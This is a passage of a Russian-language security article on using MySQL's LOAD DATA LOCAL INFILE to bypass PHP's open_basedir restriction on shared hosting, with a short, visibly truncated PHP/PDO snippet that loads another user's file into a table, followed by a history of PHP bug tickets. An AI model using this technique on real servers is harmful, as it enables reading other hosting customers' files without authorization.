Важно отметить, что по умолчанию все MySQL-клиенты и библиотеки компилируются с опцией --enable-local-infile для обеспечения совместимости с MySQL 3.23.48 и более старыми версиями, поэтому LOAD DATA LOCAL обычно доступно для стандартных клиентов. Однако команды к MySQL-серверу отсылаются в основном не из консоли, а из скриптов, поэтому в языках для веб-разработки также имеются клиенты для работы с базой данных, которые могут отличаться по функционалу от стандартного клиента MySQL.

Конечно, эта особенность оператора LOAD DATA может быть угрозой безопасности системы, и поэтому начиная с версии MySQL 3.23.49 и MySQL 4.0.2 (4.0.13 для Win) опция LOCAL будет работать только если оба - клиент и сервер - разрешают ее.

Обход ограничений open_basedir

Использование LOAD DATA довольно часто позволяет обходить ограничения open_basedir. Это может оказаться полезным, если, например, мы имеем доступ в директорию одного пользователя на shared-хостинге, но хотим прочитать скрипты из домашнего каталога другого пользователя. Тогда, установив такой скрипт

1)); $e=$pdo->exec("LOAD DATA LOCAL INFILE "./path/to/file" INTO TABLE test FIELDS TERMINATED BY "__eof__" ESCAPED BY "" LINES TERMINATED BY "__eof__""); $pdo = null; ?>

Заключение

Любопытно, что описанная возможность оператора LOAD DATA известна не меньше десяти лет. Упоминание о ней можно, например, найти в тикете [#15408] (Safe Mode / MySQL Vuln 2002-02-06), и потом похожие вопросы неоднократно всплывали на bugs.php.net [#21356] [#23779] [#28632] [#31261] [#31711]. На что разработчики отвечали дословно следующее:

[email protected] It’s not a bug, it’s a feature:)

Или присваивали тикету "Status:Wont fix". Или ограничивались патчами, которые почти ничего не решали. Тикеты на эту тему возникали вновь. Поэтому указанный способ обхода open_basedir и до сих пор работает на довольно большом количестве серверов. Впрочем, с появлением нового драйвера mysqlnd, похоже, было принято решение внести существенные изменения: при дефолтных установках этот оператор теперь вообще не будет выполняться [#54158] [#55737]. Будем надеяться, что в ближайшем будущем разработчики наведут порядок в этом вопросе.



Предыдущая статья: Следующая статья:

© 2015 .
О сайте | Контакты
| Карта сайта